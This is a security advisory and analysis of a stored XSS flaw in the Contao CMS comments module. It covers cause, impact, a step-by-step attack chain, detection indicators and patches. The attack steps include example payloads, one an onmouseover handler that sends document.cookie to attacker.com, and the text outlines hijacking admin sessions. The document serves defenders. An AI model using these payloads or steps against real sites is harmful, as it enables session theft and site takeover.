CVE-2026-107845: 
PHP vulnerability analysis and mitigation

CVE-2026-107845 is a stored cross-site scripting (XSS) vulnerability in the Contao CMS comments bundle, classified as Critical with a CVSS v3.1 base score of 9.3. An unauthenticated front-end visitor can submit a comment whose email or website metadata fields are rendered without sufficient attribute and URL encoding by the listComments() function in comments-bundle/contao/dca/tl_comments.php. When any back-end user opens the Comments module, the attacker-controlled script executes in the Contao back-end origin under that user's session. The vulnerability affects Contao versions 4.0.0 through 5.3.49 and 5.4.0-RC1 through 5.7.11, and was disclosed on August 25, 2026, with patches released the same day (GitHub Advisory, GHSA).

The root cause is improper output encoding (CWE-79, CWE-116) in the listComments() function within comments-bundle/contao/dca/tl_comments.php. Specifically, the website and email fields from user-submitted comments are interpolated directly into HTML output without applying StringUtil::specialchars() or equivalent URL/attribute encoding, while the ip field is correctly escaped. The attack vector is network-based with no privileges required; the only precondition is that a back-end user must open the Comments module (user interaction required), which is guaranteed when comment moderation is enabled since moderators must view unpublished comments. No Content-Security-Policy header is present on the Contao back end, removing any browser-level mitigation for inline script execution. The fix, applied in commit 22505d5, adds proper encoding to the previously unescaped fields (GitHub Commit, GitHub Advisory).

Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the Contao back-end origin under the session of any back-end user who views the Comments module, resulting in high confidentiality and integrity impact with a changed scope. The injected payload can read any back-end module accessible to the victim, create new administrator accounts, or modify templates — which Contao documents as a path from back-end write access to server-side code execution. This effectively enables full back-end account takeover, privilege escalation to administrator, and potential remote code execution on the underlying server (GitHub Advisory, GHSA).

No public proof-of-concept exploit code has been identified, and there is no evidence of in-the-wild exploitation at the time of disclosure (Feedly). The EPSS score is 0.0, reflecting low current exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported. However, the attack requires no authentication and minimal technical sophistication — any visitor to a Contao site with comments enabled can trigger it, making it highly accessible to opportunistic attackers.

1. Reconnaissance: Identify Contao CMS instances running versions 4.0.0–5.3.49 or 5.4.0-RC1–5.7.11 with the comments feature enabled on any front-end page (e.g., news articles, blog posts). Tools like Shodan, Censys, or passive web crawling can identify Contao installations.
2. Craft malicious comment: Prepare a comment submission where the website or email field contains a JavaScript XSS payload. For example, set the website field to a value such as javascript:alert(document.cookie) or embed an event-handler payload like " onmouseover="fetch('https://attacker.com/?c='+document.cookie) that exploits the lack of attribute encoding.
3. Submit the comment: Post the comment to any front-end page that accepts Contao comments. No authentication is required. The comment is stored in the database regardless of publication status.
4. Wait for back-end user interaction: When a back-end user (including moderators reviewing unpublished comments) opens the Contao Comments module, the listComments() function renders the unencoded website/email field, triggering the injected script in the back-end origin.
5. Achieve session hijack or privilege escalation: The executing payload can exfiltrate the back-end user's session cookie or CSRF token to an attacker-controlled server, perform authenticated back-end actions (e.g., create a new admin account via the Contao API), or modify a Contao template to achieve server-side code execution (GitHub Advisory, GitHub Commit).

• Network: Outbound HTTP requests from the back-end browser session to unexpected external domains shortly after a back-end user opens the Comments module; unusual POST requests to Contao back-end endpoints (e.g., admin account creation, template modification) not initiated by a known administrator.
• Logs: Contao access logs showing comment submissions with website or email fields containing JavaScript keywords (<script>, javascript:, onerror=, onmouseover=, fetch(, XMLHttpRequest); back-end access log entries for admin creation or template edits immediately following a Comments module view.
• File System: Unexpected modifications to Contao template files (.html5 or .twig files in /templates/) with newly added PHP or JavaScript code; new back-end administrator accounts created without a corresponding legitimate administrative action.
• Database: Comment records in tl_comments table where the website or email column contains HTML/JavaScript special characters or URI schemes such as javascript: or event handler attributes.

Contao has released patched versions 5.3.50 and 5.7.12, which apply proper attribute and URL encoding to the website and email fields in listComments(). Administrators should upgrade immediately using Composer (composer update contao/comments-bundle) (Release 5.3.50, Release 5.7.12). If immediate patching is not possible, consider temporarily disabling the front-end comments feature or restricting back-end access to the Comments module to the minimum number of trusted users. Adding a strict Content-Security-Policy header to the Contao back end would reduce (but not eliminate) the risk of inline script execution as an interim measure (GitHub Advisory).

The vulnerability was reported by security researcher HDWSec and disclosed by Contao maintainer leofeyer on August 25, 2026, with patches released the same day (GitHub Advisory). The Hacker Wire published a dedicated write-up highlighting the back-end session hijack risk (The Hacker Wire). No significant broader media coverage or notable social media discussion has been identified beyond standard vulnerability aggregator coverage.